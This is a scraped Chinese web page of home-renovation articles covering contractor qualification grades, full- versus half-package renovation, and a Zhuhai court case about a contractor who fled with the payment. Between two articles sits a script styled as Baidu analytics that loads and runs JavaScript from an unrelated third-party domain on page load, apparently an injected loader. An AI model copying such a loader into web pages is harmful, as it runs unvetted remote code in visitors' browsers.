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苏博赡
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建筑装修装饰工程专业承包资质标准有哪些?承包工程范围介绍
在委托专业机构进行建筑装修装饰工程项目的时候,我们不仅仅应该根据对方给出的费用和条款进行筛选,而且必要的时候还应该参考对方符合的资质标准进一步入手作出合理合适的对比和分析,因为一个令人满意的装修装饰工程项目不仅仅取决于公司的条件,而且还在一定程度上依赖于旗下的经验和规模,所以今天小编为大家举例介绍的就是关于建筑装修装饰工程专业承包方面的资质标准,更进一步的还有具体承包工程范围方面的专业介绍和分析。有兴趣了解的朋友,可以借此进行方案的拟定和修改。一、建筑装修装饰工程专业承包资质标准1、一级资质标准企业资产净资产1500万元以上。企业主要人员(1)建筑工程专业一级注册建造师不少于5人。(2)技术负责人具有10年以上从事工程施工技术管理工作经历,且具有工程序列高级职称或建筑工程专业一级注册建造师(或一级注册建筑师或一级注册结构工程师)执业资格;建筑美术设计、结构、暖通、给排水、电气等专业中级以上职称人员不少于10人。(3)持有岗位证书的施工现场管理人员不少于30人,且施工员、质量员、安全员、材料员、造价员、劳务员、资料员等人员齐全。(4)经考核或培训合格的木工、砌筑工、镶贴工、油漆工、石作业工、水电工等中级工以上技术工人不少于30人。企业工程业绩近5年承担过单项合同额1500万元以上的装修装饰工程2项,工程质量合格。2、二级资质标准企业资产净资产200万元以上。企业主要人员(1)建筑工程专业注册建造师不少于3人。(2)技术负责人具有8年以上从事工程施工技术管理工作经历,且具有工程序列中级以上职称或建筑工程专业注册建造师(或注册建筑师或注册结构工程师)执业资格;建筑美术设计、结构、暖通、给排水、电气等专业中级以上职称人员不少于5人。(3)持有岗位证书的施工现场管理人员不少于10人,且施工员、质量员、安全员、材料员、造价员、劳务员、资料员等人员齐全。(4)经考核或培训合格的木工、砌筑工、镶贴工、油漆工、石作业工、水电工等专业技术工人不少于15人。(5)技术负责人(或注册建造师)主持完成过本类别工程业绩不少于2项。二、承包工程范围一级资质可承担各类建筑装修装饰工程,以及与装修工程直接配套的其他工程的施工。二级资质可承担单项合同额2000万元以下的建筑装修装饰工程,以及与装修工程直接配套的其他工程的施工。注:1.与装修工程直接配套的其他工程是指在不改变主体结构的前提下的水、暖、电及非承重墙的改造。2.建筑美术设计职称包括建筑学、环境艺术、室内设计、装璜设计、舞美设计、工业设计、雕塑等专业职称。上文为大家举例的是关于建筑装修装饰工程专业承包资质方面的标准以及承包工程方面的范围介绍,由此可以发现为了迎合不同消费者的需求,同时为了规范建筑装修装饰行业的市场,所以有关部门出台了一系列的标准和条款,只有符合这些标准和条款的公司才可以给予相关对应的资质标准认定,除此之外,小编建议有意向寻求专业机构进行合作的朋友,最好可以参考上文的评定和说明,结合公司出具的标准文件,综合辨别真假,以便于能够了解到对方的经验和技术,从而最大程度上保障后期可以达到令人满意的效果和优势。
装修半包和全包哪个划算又该怎么选择?
装饰行业发展迅速,装修选择的模式也越来越多,那么装修半包和全包哪个划算呢?现在很多人对全包和半包两者不知道如何区分。下面就谈谈两者该如何做选择。一、全包1、全包的优点全包就是包工和包料。很多人装修房屋的同时还要工作,无暇顾及装修工程。这时候选择正规的装修公司,报价透明装修质量既有保证。也省时省心省力。另外全包的总体成本更容易控制,不会超过标准。装修公司购买的该如何选择。建筑材料价格会比市场价格低。其次就是购买建筑材料时,不会出现配件不匹配造成损失这种情况。2、全包的缺点缺点就是和装修公司签合同时如果不注意其中复杂的条款,装修动工后出现问题难维权。另外很多不负责的公司购买材料时以次充好,购买粗制滥造的材料。二、半包1、半包的优点半包的好处就是主材料需要自己购买,装修公司负责施工以及装修辅材。优点是通过自己购买主材料质量更安全,装饰成本得到更好的控制。市面上装修材料种类繁多,提供了更多的选择。比全包更灵活,不受套装,捆绑出售等限制。另外半包的总价相对会少一点。2、半包的缺点缺点是很多人在半包时很难区分材料的好坏,购买的价格也比较高。而且需要更多的时间和精力,很容易买到不合适的材料。那么装修半包和全包哪个划算呢?能了解一点装修知识且时间充裕的人,可以选半包模式。忙于工作且没有时间参与装修的人,对装修知识一知半解的情况下,选全包更划算点。以上就是关于装修半包和全包哪个划算的分析希望能帮到正要装修的业主们。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
珠海装修包工包料哪个好?
珠海装修包工包料哪家好?装饰公司的承包方式有几种,包工包料只是对装饰公司承包方式的大致分类,下面是装饰公司在承包用户委托的家庭居室装饰工程任务所采取的几种承包方式。下面就让我们一起来看看吧。珠海装修材料效果图一、包工不包料。用户自备各种装饰用材料,装饰公司仅按供料施工。这种承包方式适合于用户对装饰材料比较精通,而且有时间、有能力采购材料,装饰工程比较简单,装饰材料不多等情况。用户与装饰公司只结算人工费、间接费等费用,装饰公司不能在材料费中获利。用户则可节省些装饰费用,但采购材料很费精力。二、包工包辅料。用户自备装饰主要材料,如地砖、涂料、釉面砖、壁纸、木地板、洁具等。装饰公司负责装饰工程的施工及辅助材料的采购,如水泥、石灰、砂、石粒等。这种承包方式适合于用户对装饰主材有鉴别能力,且有时间和精力采购、装饰主材品种不多等情况。用户与装饰公司只结算人工费、机械使用费、辅助材料费以及相应的间接费等。装饰公司可以在人工费、辅助材料费及间接费等方面获利。用户可少为采购辅助材料而操心,但自购主料也是很辛苦的。三、包工包全料。装饰公司按用户提出的装饰设计与要求,全部承包装饰工程任务的施工及其所用材料的采购。这种承包方式适合于用户对装饰材料不熟悉,且无时间也没有能力采购材料,装饰公司能按用户要求采购到各种装修材料,装饰材料品种繁多等情况。采用包工不包料方式的弊端是:用户对材料的质地、用途了解甚少,容易买质次价高的材料;由于购买量小享受不到材料店提供的批发价,且运费高;一旦工程质量出现问题后,是工艺质量问题还是材料质量问题,责任不好分清;工人在施工中极易造成浪费;剩料造成一定浪费。采用包工包料的方式,前提是建立在对装饰公司的充分信任的基础上,这样用户可少为家居装修操心。因为家居装修施工期至少一两个月,用户在此期间忙忙碌碌、东奔西走,既耽误工作,又费精力。为此,委托给信誉高的装修公司全承包是个好主意。注意选择透明度高的正规装饰公司。案例:包工包料不包省心包工头中途开溜案情简介:购臵新房的张女士要进行装修,因为工作比较忙,本想采用包工包料的方式装修,省时省力图个方便。可是工程装修一半,包工头却“开溜”了。无奈之下,张女士向法院起诉,要求包工头返还装修款和赔偿延误工期损失。详细案情:包工头钱到手人“开溜”张女士经人介绍认识了做装潢生意的包工头蔡某。包工头比较热情,推荐张女士采用包工包料的方式,说这样比较省事,只要定好怎么装修,张女士就什么都不用管了,张女士正好工作比较忙,就同意了。双方签订装修合同:张女士将新房交给蔡某包工包料装修。整个装修款为人民币6万元,工期至2010年9月28日前完工。8月中旬,包工头如期叫工人进场施工,不久将张女士的新房该拆的拆了,该敲的敲了,该买的部分建材的也买进来了。珠海装修材料效果图9月初,张女士接到工人打来电话,说老板不见了。张女士再去找包工头时,包工头已经早早“开溜”了。包工头赊帐东家“买单”这时,材料供应商又找上门来,索要包工头通过赊帐方式取得的装修材料费约5000元。张女士很奇怪包工头已经以需要购买材料为由要求自己支付了3万元,为什么还要去赊账呢?可材料供应商拿出了送货单和欠款手续表示,我不知道你们是什么关系,货是送到这里的,如果你们不给钱,就要拉走材料。为了免得麻烦,张女士无奈只好先结清了供应商的材料款,为包工头赊帐而“买单”后,总算通过朋友找到了包工头,可包工头表示前些天有另外的工程再忙,过段时间可以处理张女士的工程。至于材料款,包工头说是因为最近其它工程资金周转的原因,没关系,张女士代付的款项工程结束时可以结算。这时张女士哪还敢相信他啊,要求解除合同、退款。可协商不成,只得向法院提起了诉讼。依据事实和法律判决张女士向法院起诉,要求包工头返还装修款30000元和赔偿延误工期的损失10000元。法院经审理查明,被告收取原告支付的30000元装修款后,在未完成装修工程的情况下撤离。在审理中,原告鉴于被告已完成前期部分工作量,自愿扣除5000元工程款和放弃赔偿延误工期损失的请求,双方达成一致,由法院调解结案。装修一般有“包工包料”和“包清工”两种方式:“包工包料”是指装修队负责提供相关装修材料并施工;“包清工”是指材料由业主提供,装修队只负责施工。当然,实践中也有介于二者之间的,由装修队提供部分材料、业主提供部分材料。这两种方式,理论上“包工包料”最简单、方便,反正业主自己购买材料也要花钱,把这个任务交给装修队,业主只要付钱就可以了,更何况装修队长期从事装修,熟悉市场,能买到质优价廉的材料。但是请您注意,这是是“理论上”,如果双方都诚意,这种理论才会变成现实,而我们碰到的现实往往是另一个样子:同样的材料购买价格便宜的品牌、同样的品牌购买便宜的型号,甚至是购买假冒伪劣的产品或材料;在预算时故意多报材料数量,增加材料款,实际施工时不使用那么多材料,或者是把购买的材料转移、另卖;由于购买材料,先要求业主支付大量购料款,收到一定装修款和材料款后,不开工直接开溜,或者在施工提出各种新的条件,一旦业主不同意就以停工相威胁,反正他手中的钱超过他的工作量,大不了一拍两散。前面案例中的张女士不就碰到这种麻烦了吗?就算没有上述情况,在购买材料时装修队借采购之机拿回扣的事也屡见不鲜。所以,除非您非常信任您选择的装修队,否则轻易不要选择包工包料的方式装修。珠海装修材料效果图就算您信任您选择的装修队,由于装修中用到的很多东西的样子、型号、花色都是您今后要长期使用的,所以是否合您的意也是一个重要问题,在选材时也要尽量亲自参与。所以,综合考虑,律师建议您采取“包清工”的方式,自行选取材料,或者把一部分不重要的材料交给装修队代为采购。以上就是小编为大家介绍的珠海装修包工包料哪个好相关知识,小编的介绍到这里就结束啦,如果你们还有什么不懂或是想要了解更多有关珠海装修包工包料哪个好相关知识就请继续关注珠海装修网吧,让你了解更多有关珠海装修包工包料哪个好相关知识哦,小编希望这篇文章能帮助到你噢。
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